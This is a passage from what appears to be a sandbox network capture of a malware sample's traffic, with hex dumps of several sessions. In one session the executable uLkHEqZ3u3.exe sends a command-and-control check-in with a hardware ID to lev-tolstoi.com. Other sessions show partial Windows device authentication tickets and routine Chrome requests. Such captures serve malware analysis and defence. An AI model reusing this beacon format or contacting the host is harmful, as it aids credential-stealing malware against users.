cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1577&rtt_var=608&sent=330&recv=583&lost=0&retrans=0&sent_bytes=2836&recv_bytes=554872&delivery_rate=1777236&cwnd=224&unsent_bytes=0&cid=7a12a011bc07ea4b&ts=2350&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49752	104.21.66.86	443	5584	C:\Users\user\Desktop\uLkHEqZ3u3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:34 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: lev-tolstoi.com
2024-12-23 05:53:34 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 45 41 46 30 39 32 39 45 38 39 45 36 33 42 37 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=EAF0929E89E63B7BAC8923850305D13E
2024-12-23 05:53:35 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:53:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eogmi01bmdqu2e79frjl1ieo26; expires=Thu, 17 Apr 2025 23:40:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AREoyEM8w8kcrluSuhrc6SHbvIE%2BA0nC%2Fjrlu79g9IQtOYgaepTlXJfFUrp0dVB7I7TqQKJUs4Hg%2Bdt%2F0wZ03sYT%2FRN%2BeLHUfSNtVlJc0L%2BQrmeMZrz2sMcMWlJ6csLYomE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66178f0863727d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1844&min_rtt=1827&rtt_var=719&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=981&delivery_rate=1486005&cwnd=219&unsent_bytes=0&cid=bc4f9a2c7729e075&ts=763&x=0"
2024-12-23 05:53:35 UTC	214	IN	Data Raw: 64 30 0d 0a 6f 50 65 79 33 42 71 41 37 56 38 78 42 65 66 45 30 6a 67 44 37 4e 2b 6b 59 6c 68 51 6e 68 6b 62 49 41 56 6a 2f 46 61 67 43 54 50 37 6a 4a 43 70 4f 4c 72 50 4e 30 56 78 6c 2f 36 4f 46 31 2f 44 37 70 78 58 64 6d 4b 76 4c 44 55 52 4e 46 44 53 5a 35 5a 56 48 4d 2b 52 31 49 41 31 35 49 67 35 48 32 43 66 6f 66 41 55 49 59 71 72 68 6c 68 6f 66 4c 78 38 4f 52 6f 31 48 74 41 74 67 6e 77 52 6d 74 58 61 71 47 37 77 31 77 4d 65 57 63 6a 31 36 67 30 74 33 75 36 52 54 47 6c 68 72 54 63 71 46 6c 6c 4d 6a 79 4c 46 61 46 37 38 32 4d 43 39 64 4f 53 43 4d 68 39 67 6e 36 48 77 46 43 47 4b 71 34 5a 59 61 48 79 38 66 44 6b 61 4e 52 36 68 0d 0a Data Ascii: d0oPey3BqA7V8xBefE0jgD7N+kYlhQnhkbIAVj/FagCTP7jJCpOLrPN0Vxl/6OF1/D7pxXdmKvLDURNFDSZ5ZVHM+R1IA15Ig5H2CfofAUIYqrhlhofLx8ORo1HtAtgnwRmtXaqG7w1wMeWcj16g0t3u6RTGlhrTcqFllMjyLFaF782MC9dOSCMh9gn6HwFCGKq4ZYaHy8fDkaNR6h
2024-12-23 05:53:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49759	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:38 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 70 34 4a 79 68 58 79 2f 55 6d 53 38 56 50 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 35 61 61 35 65 61 36 36 35 64 64 35 62 35 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5p4JyhXy/UmS8VPE.1Context: 55aa5ea665dd5b5f
2024-12-23 05:53:38 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:53:38 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 70 34 4a 79 68 58 79 2f 55 6d 53 38 56 50 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 35 61 61 35 65 61 36 36 35 64 64 35 62 35 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5p4JyhXy/UmS8VPE.2Context: 55aa5ea665dd5b5f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:38 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 35 70 34 4a 79 68 58 79 2f 55 6d 53 38 56 50 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 35 61 61 35 65 61 36 36 35 64 64 35 62 35 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: 5p4JyhXy/UmS8VPE.3Context: 55aa5ea665dd5b5f
2024-12-23 05:53:38 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:38 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 44 73 35 69 62 71 35 64 6b 69 74 4b 39 46 6b 6a 54 4c 58 30 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ODs5ibq5dkitK9FkjTLX0w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49769	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:40 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 2f 47 50 6c 55 75 53 77 6b 61 6b 41 4b 4a 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 37 66 39 34 35 36 32 64 62 38 64 39 34 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: P/GPlUuSwkakAKJW.1Context: e07f94562db8d942
2024-12-23 05:53:40 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:53:40 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 2f 47 50 6c 55 75 53 77 6b 61 6b 41 4b 4a 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 37 66 39 34 35 36 32 64 62 38 64 39 34 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: P/GPlUuSwkakAKJW.2Context: e07f94562db8d942<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:40 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 2f 47 50 6c 55 75 53 77 6b 61 6b 41 4b 4a 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 30 37 66 39 34 35 36 32 64 62 38 64 39 34 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: P/GPlUuSwkakAKJW.3Context: e07f94562db8d942<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:53:41 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:41 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 6a 6b 66 2f 39 55 6a 77 30 4b 61 6e 41 35 2b 63 42 4a 69 48 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7jkf/9Ujw0KanA5+cBJiHg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49809	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:58 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 45 6a 77 68 66 48 4f 57 59 30 4f 56 69 2b 35 52 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 38 36 61 32 66 32 61 63 63 66 36 65 66 63 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: EjwhfHOWY0OVi+5R.1Context: 186a2f2accf6efcd
2024-12-23 05:53:58 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-23 05:53:58 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 45 6a 77 68 66 48 4f 57 59 30 4f 56 69 2b 35 52 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 38 36 61 32 66 32 61 63 63 66 36 65 66 63 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: EjwhfHOWY0OVi+5R.2Context: 186a2f2accf6efcd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-23 05:53:58 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 45 6a 77 68 66 48 4f 57 59 30 4f 56 69 2b 35 52 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 38 36 61 32 66 32 61 63 63 66 36 65 66 63 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: EjwhfHOWY0OVi+5R.3Context: 186a2f2accf6efcd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-23 05:53:58 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-23 05:53:58 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 78 75 71 43 38 6a 66 51 73 6b 75 56 59 77 75 6e 59 4f 52 42 43 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: xuqC8jfQskuVYwunYORBCQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49815	172.217.21.36	443	1764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:59 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-23 05:54:00 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 05:54:00 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-0NETOMw33ud5mqQoZ5M-Fg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-23 05:54:00 UTC	124	IN	Data Raw: 33 36 33 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 69 6e 74 65 72 20 73 6f 6c 73 74 69 63 65 20 73 68 6f 72 74 65 73 74 20 64 61 79 20 6f 66 20 74 68 65 20 79 65 61 72 22 2c 22 6e 61 73 63 61 72 20 74 72 61 63 6b 20 63 6c 6f 73 69 6e 67 22 2c 22 73 61 6d 73 75 6e 67 20 67 61 6c 61 78 79 20 67 61 6c 61 78 79 20 73 32 35 20 75 6c 74 72 61 22 2c 22 6e 79 74 20 63 6f 6e 6e Data Ascii: 363)]}'["",["winter solstice shortest day of the year","nascar track closing","samsung galaxy galaxy s25 ultra","nyt conn
2024-12-23 05:54:00 UTC	750	IN	Data Raw: 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 64 65 63 65 6d 62 65 72 20 32 32 22 2c 22 74 65 73 63 6f 20 61 6c 64 69 20 6d 6f 72 72 69 73 6f 6e 73 20 70 72 6f 64 75 63 74 20 72 65 63 61 6c 6c 73 22 2c 22 6e 61 73 61 20 61 73 74 72 6f 6e 61 75 74 73 20 73 74 75 63 6b 22 2c 22 64 72 6f 6e 65 73 20 69 6e 20 6e 65 77 20 6a 65 72 73 65 79 20 6e 65 77 73 22 2c 22 74 65 78 61 73 20 72 61 6e 67 65 72 73 20 74 72 61 64 65 20 6e 61 74 68 61 6e 69 65 6c 20 6c 6f 77 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 Data Ascii: ections hints december 22","tesco aldi morrisons product recalls","nasa astronauts stuck","drones in new jersey news","texas rangers trade nathaniel lowe"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"Ch
2024-12-23 05:54:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49813	172.217.21.36	443	1764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:59 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49816	172.217.21.36	443	1764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:53:59 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-23 05:54:00 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 23 Dec 2024 05:54:00 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-23 05:54:00 UTC	372	IN	Data Raw: 31 38 32 36 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1826)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
